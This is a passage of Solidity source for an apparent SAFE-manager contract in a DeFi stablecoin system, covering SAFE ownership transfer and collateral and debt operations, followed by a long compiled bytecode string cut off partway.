safeList[safeList[safe].prev].next = safeList[safe].next; // Set the next pointer of the prev safe (if exists) to the next of the transferred one
}
if (safeList[safe].next != 0) { // If wasn't the last one
safeList[safeList[safe].next].prev = safeList[safe].prev; // Set the prev pointer of the next safe to the prev of the transferred one
} else { // If was the last one
lastSAFEID[ownsSAFE[safe]] = safeList[safe].prev; // Update last pointer of the owner
}
if (firstSAFEID[ownsSAFE[safe]] == safe) { // If was the first one
firstSAFEID[ownsSAFE[safe]] = safeList[safe].next; // Update first pointer of the owner
}
safeCount[ownsSAFE[safe]] = sub(safeCount[ownsSAFE[safe]], 1);
// Transfer ownership
ownsSAFE[safe] = dst;
// Add transferred SAFE to double linked list of destiny user and pointers
safeList[safe].prev = lastSAFEID[dst];
safeList[safe].next = 0;
if (lastSAFEID[dst] != 0) {
safeList[lastSAFEID[dst]].next = safe;
}
if (firstSAFEID[dst] == 0) {
firstSAFEID[dst] = safe;
}
lastSAFEID[dst] = safe;
safeCount[dst] = add(safeCount[dst], 1);
emit TransferSAFEOwnership(
msg.sender,
safe,
dst
);
}
// Modify a SAFE's collateralization ratio while keeping the generated COIN or collateral freed in the SAFE handler address.
function modifySAFECollateralization(
uint safe,
int deltaCollateral,
int deltaDebt
) public safeAllowed(safe) {
address safeHandler = safes[safe];
SAFEEngineLike(safeEngine).modifySAFECollateralization(
collateralTypes[safe],
safeHandler,
safeHandler,
safeHandler,
deltaCollateral,
deltaDebt
);
emit ModifySAFECollateralization(
msg.sender,
safe,
deltaCollateral,
deltaDebt
);
}
// Transfer wad amount of safe collateral from the safe address to a dst address.
function transferCollateral(
uint safe,
address dst,
uint wad
) public safeAllowed(safe) {
SAFEEngineLike(safeEngine).transferCollateral(collateralTypes[safe], safes[safe], dst, wad);
emit TransferCollateral(
msg.sender,
safe,
dst,
wad
);
}
// Transfer wad amount of any type of collateral (collateralType) from the safe address to a dst address.
// This function has the purpose to take away collateral from the system that doesn't correspond to the safe but was sent there wrongly.
function transferCollateral(
bytes32 collateralType,
uint safe,
address dst,
uint wad
) public safeAllowed(safe) {
SAFEEngineLike(safeEngine).transferCollateral(collateralType, safes[safe], dst, wad);
emit TransferCollateral(
msg.sender,
collateralType,
safe,
dst,
wad
);
}
// Transfer rad amount of COIN from the safe address to a dst address.
function transferInternalCoins(
uint safe,
address dst,
uint rad
) public safeAllowed(safe) {
SAFEEngineLike(safeEngine).transferInternalCoins(safes[safe], dst, rad);
emit TransferInternalCoins(
msg.sender,
safe,
dst,
rad
);
}
// Quit the system, migrating the safe (lockedCollateral, generatedDebt) to a different dst handler
function quitSystem(
uint safe,
address dst
) public safeAllowed(safe) handlerAllowed(dst) {
(uint lockedCollateral, uint generatedDebt) = SAFEEngineLike(safeEngine).safes(collateralTypes[safe], safes[safe]);
int deltaCollateral = toInt(lockedCollateral);
int deltaDebt = toInt(generatedDebt);
SAFEEngineLike(safeEngine).transferSAFECollateralAndDebt(
collateralTypes[safe],
safes[safe],
dst,
deltaCollateral,
deltaDebt
);
emit QuitSystem(
msg.sender,
safe,
dst
);
}
// Import a position from src handler to the handler owned by safe
function enterSystem(
address src,
uint safe
) public handlerAllowed(src) safeAllowed(safe) {
(uint lockedCollateral, uint generatedDebt) = SAFEEngineLike(safeEngine).safes(collateralTypes[safe], src);
int deltaCollateral = toInt(lockedCollateral);
int deltaDebt = toInt(generatedDebt);
SAFEEngineLike(safeEngine).transferSAFECollateralAndDebt(
collateralTypes[safe],
src,
safes[safe],
deltaCollateral,
deltaDebt
);
emit EnterSystem(
msg.sender,
src,
safe
);
}
// Move a position from safeSrc handler to the safeDst handler
function moveSAFE(
uint safeSrc,
uint safeDst
) public safeAllowed(safeSrc) safeAllowed(safeDst) {
require(collateralTypes[safeSrc] == collateralTypes[safeDst], "non-matching-safes");
(uint lockedCollateral, uint generatedDebt) = SAFEEngineLike(safeEngine).safes(collateralTypes[safeSrc], safes[safeSrc]);
int deltaCollateral = toInt(lockedCollateral);
int deltaDebt = toInt(generatedDebt);
SAFEEngineLike(safeEngine).transferSAFECollateralAndDebt(
collateralTypes[safeSrc],
safes[safeSrc],
safes[safeDst],
deltaCollateral,
deltaDebt
);
emit MoveSAFE(
msg.sender,
safeSrc,
safeDst
);
}
// Choose a SAFE saviour inside LiquidationEngine for the SAFE with id 'safe'
function protectSAFE(
uint safe,
address liquidationEngine,
address saviour
) public safeAllowed(safe) {
LiquidationEngineLike(liquidationEngine).protectSAFE(
collateralTypes[safe],
safes[safe],
saviour
);
emit ProtectSAFE(
msg.sender,
safe,
liquidationEngine,
saviour
);
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80636ffdabbf116100c3578063a2a4d76e1161007c578063a2a4d76e146106cb578063aa1d8d8114610739578063c78101f81461079b578063ce05264d146107dd578063d983ff9514610855578063e0decbcd146108b75761014d565b80636ffdabbf146104fe57806380bdb6b21461054c578063871581a21461059a578063918b7cfe146105f25780639898ac7914610634578063a26292db1461067d5761014d565b8063434efcbd11610115578063434efcbd146102a65780634fa053b114610314578063511c743d14610396578063660e1607146103ee57806367aea313146104465780636f0942a4146104905761014d565b8063018477a51461015257806304e461ef1461018a5780630ae43e4e146101e257806318c254b81461023a578063391735c114610258575b600080fd5b6101886004803603604081101561016857600080fd5b81019080803590602001909291908035906020019092919050505061090f565b005b6101cc600480360360208110156101a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611035565b6040518082815260200191505060405180910390f35b610224600480360360208110156101f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061104d565b6040518082815260200191505060405180910390f35b610242611065565b6040518082815260200191505060405180910390f35b6102a46004803603604081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061106b565b005b6102d2600480360360208110156102bc57600080fd5b810190808035906020019092919050505061118f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103806004803603606081101561032a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111c2565b6040518082815260200191505060405180910390f35b6103d8600480360360208110156103ac57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111f4565b6040518082815260200191505060405180910390f35b6104446004803603606081101561040457600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061120c565b005b61044e611580565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104fc600480360360608110156104a657600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115a5565b005b61054a6004803603604081101561051457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611937565b005b6105986004803603604081101561056257600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f11565b005b6105f0600480360360608110156105b057600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506128ee565b005b61061e6004803603602081101561060857600080fd5b8101908080359060200190929190505050612c7d565b6040518082815260200191505060405180910390f35b6106606004803603602081101561064a57600080fd5b8101908080359060200190929190505050612c95565b604051808381526020018281526020019250505060405180910390f35b6106c96004803603604081101561069357600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612cb9565b005b6106f7600480360360208110156106e157600080fd5b81019080803590602001909291905050506132c6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107996004803603608081101561074f57600080fd5b810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506132f9565b005b6107db600480360360608110156107b157600080fd5b8101908080359060200190929190803590602001909291908035906020019092919050505061367e565b005b61083f600480360360408110156107f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613a23565b6040518082815260200191505060405180910390f35b6108a16004803603604081101561086b57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613a48565b6040518082815260200191505060405180910390f35b61090d600480360360608110156108cd57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613f0b565b005b816004600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a3d57506001600960006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b610aaf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f736166652d6e6f742d616c6c6f7765640000000000000000000000000000000081525060200191505060405180910390fd5b816004600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610bdd57506001600960006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b610c4f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f736166652d6e6f742d616c6c6f7765640000000000000000000000000000000081525060200191505060405180910390fd5b6005600084815260200190815260200160002054600560008681526020019081526020016000205414610cea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6e6f6e2d6d61746368696e672d7361666573000000000000000000000000000081525060200191505060405180910390fd5b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d4225046005600089815260200190815260200160002054600260008a815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050604080518083038186803b158015610dd857600080fd5b505afa158015610dec573d6000803e3d6000fd5b505050506040513d6040811015610e0257600080fd5b810190808051906020019092919080519060200190929190505050915091506000610e2c8361421d565b90506000610e398361421d565b90506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663476bb6ef600560008b815260200190815260200160002054600260008c815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008c815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686866040518663ffffffff1660e01b8152600401808681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200195505050505050600060405180830381600087803b158015610fa057600080fd5b505af1158015610fb4573d6000803e3d6000fd5b505050507fa97fba7e365c0128f8b08a83e0818826957948356accc061289463915f4aef69338989604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a15050505050505050565b60066020528060005260406000206000915090505481565b60086020528060005260406000206000915090505481565b60015481565b80600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507faa78deb20213efe10f6ff8128a962635826ed67c51a5f7bf318dd1c37ceabbd0338383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a15050565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960205282600052604060002060205281600052604060002060205280600052604060002060009250925050505481565b60076020528060005260406000206000915090505481565b826004600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061133a57506001600960006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b6113ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f736166652d6e6f742d616c6c6f7765640000000000000000000000000000000081525060200191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663efabcadc6002600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b1580156114bb57600080fd5b505af11580156114cf573d6000803e3d6000fd5b505050507f4bcf3a338d8f80224ef2faba6a44cf6740cc4ba448c950d7c99bbe02da4b710b33858585604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060405180910390a150505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b826004600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116d357506001600960006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b611745576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f736166652d6e6f742d616c6c6f7765640000000000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff16633896a38460056000878152602001908152602001600020546002600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b8152600401808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019350505050600060405180830381600087803b15801561184657600080fd5b505af115801561185a573d6000803e3d6000fd5b505050507f2dd35b03a7c5d91157bc84411fbe9950d393a57972a764a09c74fdc2316ad29d33858585604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390a150505050565b818073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119ee57506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b611a60576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f696e7465726e616c2d73797374656d2d736166652d6e6f742d616c6c6f77656481525060200191505060405180910390fd5b816004600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b8e57506001600960006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b611c00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f736166652d6e6f742d616c6c6f7765640000000000000000000000000000000081525060200191505060405180910390fd5b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d4225046005600088815260200190815260200160002054886040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050604080518083038186803b158015611cbb57600080fd5b505afa158015611ccf573d6000803e3d6000fd5b505050506040513d6040811015611ce557600080fd5b810190808051906020019092919080519060200190929190505050915091506000611d0f8361421d565b90506000611d1c8361421d565b90506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663476bb6ef600560008a8152602001908152602001600020548a600260008c815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686866040518663ffffffff1660e01b8152600401808681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200195505050505050600060405180830381600087803b158015611e5057600080fd5b505af1158015611e64573d6000803e3d6000fd5b505050507f218e81d047133e990e0c3fef0ae3fdbc9b1de4b9775baac9b011b45f585cd64a338989604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a15050505050505050565b816004600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061203f57506001600960006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b6120b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f736166652d6e6f742d616c6c6f7765640000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612154576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f6473742d616464726573732d300000000000000000000000000000000000000081525060200191505060405180910390fd5b6004600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612229576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f6473742d616c72656164792d6f776e657200000000000000000000000000000081525060200191505060405180910390fd5b600060036000858152602001908152602001600020600001541461228f5760036000848152602001908152602001600020600101546003600060036000878152602001908152602001600020600001548152602001908152602001600020600101819055505b60006003600085815260200190815260200160002060010154146122f9576003600084815260200190815260200160002060000154600360006003600087815260200190815260200160002060010154815260200190815260200160002060000181905550612387565b6003600084815260200190815260200160002060000154600760006004600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b82600660006004600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561248f576003600084815260200190815260200160002060010154600660006004600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61250c600860006004600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546001614235565b600860006004600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816004600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546003600085815260200190815260200160002060000181905550600060036000858152602001908152602001600020600101819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146126ec578260036000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548152602001908152602001600020600101819055505b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156127795782600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b82600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612807600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600161424f565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f53a4da6d15fe50375abfb512358024b4a99422da4c26736d2ed0f9540ddb2796338484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a1505050565b826004600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612a1c57506001600960006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b612a8e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f736166652d6e6f742d616c6c6f7765640000000000000000000000000000000081525060200191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634e5111a660056000878152602001908152602001600020546002600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686866040518563ffffffff1660e01b8152600401808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b158015612bb857600080fd5b505af1158015612bcc573d6000803e3d6000fd5b505050507fc0db7defff3210677ded74d20a6b47a7e48901c4ca7a5978dbed3826f4870d3033858585604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060405180910390a150505050565b60056020528060005260406000206000915090505481565b60036020528060005260406000206000915090508060000154908060010154905082565b816004600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612de757506001600960006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b612e59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f736166652d6e6f742d616c6c6f7765640000000000000000000000000000000081525060200191505060405180910390fd5b818073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612f1057506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b612f82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f696e7465726e616c2d73797374656d2d736166652d6e6f742d616c6c6f77656481525060200191505060405180910390fd5b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d4225046005600089815260200190815260200160002054600260008a815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050604080518083038186803b15801561307057600080fd5b505afa158015613084573d6000803e3d6000fd5b505050506040513d604081101561309a57600080fd5b8101908080519060200190929190805190602001909291905050509150915060006130c48361421d565b905060006130d18361421d565b90506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663476bb6ef600560008b815260200190815260200160002054600260008c815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168a86866040518663ffffffff1660e01b8152600401808681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200195505050505050600060405180830381600087803b15801561320557600080fd5b505af1158015613219573d6000803e3d6000fd5b505050507fc819508e420d88636175642d4552e0689efcf0f97db14737c1f4224ed66323cd338989604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a15050505050505050565b60046020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b826004600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061342757506001600960006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b613499576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f736166652d6e6f742d616c6c6f7765640000000000000000000000000000000081525060200191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634e5111a6866002600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686866040518563ffffffff1660e01b8152600401808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b1580156135b057600080fd5b505af11580156135c4573d6000803e3d6000fd5b505050507f0be149ca022ee027e452e448a55a6b15da9081ab45afecbc8715ca1626c9cdf33386868686604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019550505050505060405180910390a15050505050565b826004600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806137ac57506001600960006004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b61381e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001